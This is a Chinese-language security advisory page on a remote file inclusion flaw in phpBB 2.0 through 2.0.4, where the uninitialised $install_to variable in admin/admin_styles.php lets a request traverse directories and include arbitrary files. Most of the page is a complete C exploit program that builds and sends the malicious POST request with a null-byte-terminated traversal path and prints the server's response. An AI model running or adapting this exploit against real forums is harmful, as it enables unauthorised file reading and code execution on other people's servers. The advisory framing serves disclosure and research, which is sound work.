首页 -> 安全研究

安全研究

安全漏洞
phpBB admin_styles.php theme_info.cfg远程文件包含漏洞

发布日期:2003-06-16
更新日期:2003-06-24

受影响系统:
phpBB Group phpBB 2.0.4
phpBB Group phpBB 2.0.3
phpBB Group phpBB 2.0.2
phpBB Group phpBB 2.0.1
phpBB Group phpBB 2.0
描述:
BUGTRAQ  ID: 7932

phpBB是一款基于WEB的流行的论坛程序。

phpBB包含的'/admin/admin_styles.php'脚本对用户提供的变量缺少充分过滤,远程攻击者可以利用这个漏洞以WEB权限在系统上执行任意命令。

'/admin/admin_styles.php'脚本中包含如下代码:

include($phpbb_root_path. "templates/" . $install_to . "/theme_info.cfg");

'$install_to'变量用于从用户输入中直接获得包含文件,当'admin_styles.php'脚本作为参数进行调用时由于没有进行初始化,因此可以通过全局注入来进行变量定义,攻击者可以指定远程系统中的PHP文件作为参数提交给'$install_to'变量,可导致以WEB服务进程权限执行PHP文件中包含的恶意代码。

<*来源:Gerben van der Lubbe (gerben_van_der_lubbe@hotmail.com
  
  链接:http://groups.google.ca/groups?q=phpBulletinBoard+php+injection+vulnerability&hl=en&lr=&ie=UTF-8&oe=
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Gerben van der Lubbe (gerben_van_der_lubbe@hotmail.com)提供了如下测试方法:

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

int main()
{
    //The socket stuff
    struct hostent *hp;
    struct sockaddr_in sa;
    int sock;

    //The input stuff
    char server[100];
    char location[100];
    char sfile[100];
    int escapes;
    char* file;

    //The request stuff
    char* request;
    char* postdata;
    char* header;

    //The buffer to store the response
    char buffer[4096];
    int tworeturns = 0;
    int showing = 0;

    //Other
    int i;

    //Ask the server
    printf("Server: ");
    scanf("%100s", server);
    printf("Forum location: ");
    scanf("%100s", location);
    printf("Directories to escape: ");
    scanf("%i", &escapes);
    printf("File to get/execute: ");
    scanf("%100s", sfile);


    //Start the exploit!
    printf("\n\nStarting the exploit...\n");

    //Connect to the server
    printf("Creating socket... ");
    if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    {
        printf("Failed!\n");
        return 0;
    } else{
        printf("Done!\n");
    }


    printf("Looking up server IP... ");
    if((hp = gethostbyname((char*)server)) == NULL)
    {
        printf("Failed!\n");
        return 0;
    } else {
        printf("Done!\n");
    }


    printf("Connecting %s:80... ", server);
    memcpy(&sa.sin_addr, hp->h_addr_list[0], hp->h_length);
    sa.sin_family = AF_INET;
    sa.sin_port = htons(80);
    if(connect(sock, (struct sockaddr*)&sa, sizeof(sa)))
    {
        printf("Failed!\n");
        return 0;
    } else {
        printf("Done!\n");
    }


    //Create the request
    printf("Building request... ");

    //Create the postdata
    file = (char*)malloc(sizeof(char) * (escapes * 3 +
strlen(sfile) + 1));

    while(escapes > 0)
    {
        if(escapes == 1)
        {
            sprintf(file, "%s%s%s", file, "..", sfile);
        } else {
            sprintf(file, "%s%s", file, "../");
        }

        escapes --;
    }

    postdata = (char*)malloc((27 + strlen(file)) *
sizeof(char));
    sprintf(postdata, "send_file= &install_to=%s%s00",
file, "%");

    header = (char*)malloc((170 + strlen(server) +
strlen(location)) * sizeof(char));
    sprintf(header, "POST
/%s/admin/admin_styles.php?mode=addnew
HTTP/1.1\r\nContent-Type:
application/x-www-form-urlencoded\r\nHost:
%s\r\nContent-Length: %i\r\nConnection: close\r\n\r\n",
location, server, strlen(postdata));

    request = (char*)malloc((strlen(postdata) +
strlen(header) + 1) * sizeof(char));
    sprintf(request, "%s%s", header, postdata);

    printf("Done!\n");


    //Send the request
    printf("Sending request... ");
    write(sock, request, strlen(request));
    printf("Done!\n");

    printf("\nResponse:\n");
    //Get the response
    while(recv(sock, buffer, 4096, 0) != 0)
    {
        for(i = 0; i < strlen(buffer); i++)
        {
            //Only show the character when it should
            if(showing == 1)
            {
                printf("%c", buffer[ i ]);
            }


            //Stop showing from \n<br>\n
            if(buffer[ i ] == '\n' && buffer[i + 1] == '<' &&
buffer[i + 2] == 'b' && buffer[i + 3] == 'r' &&
buffer[i + 4] == '>' && buffer[i + 5] == '\n' &&
showing == 1)
            {
                showing = 0;
                tworeturns = 0;
            }
            //Or from \n<br />\n
            if(buffer[ i ] == '\n' && buffer[i + 1] == '<' &&
buffer[i + 2] == 'b' && buffer[i + 3] == 'r' &&
buffer[i + 4] == ' ' && buffer[i + 5] == '/' &&
buffer[i + 6] == '>' && buffer[i + 7] == '\n' &&
showing == 1)
            {
                showing = 0;
                tworeturns = 0;
            }

            //If there's a return and tworeturns = true, start showing it
            if(buffer[ i ] == '\n' && tworeturns == 1)
            {
                showing = 1;
            }

            //If there are two returns, set tworeturns to true and add 3 to i
            if(buffer[ i ] == '\r' && buffer[i + 1] == '\n' && buffer[i + 2] == '\r' && buffer[i + 3] == '\n')
            {
                tworeturns = 1;
                i += 3;
            }
        }
    }
    printf("\n");

    return 0;
}

建议:
厂商补丁:

phpBB Group
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.phpbb.com/

浏览次数:3412
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障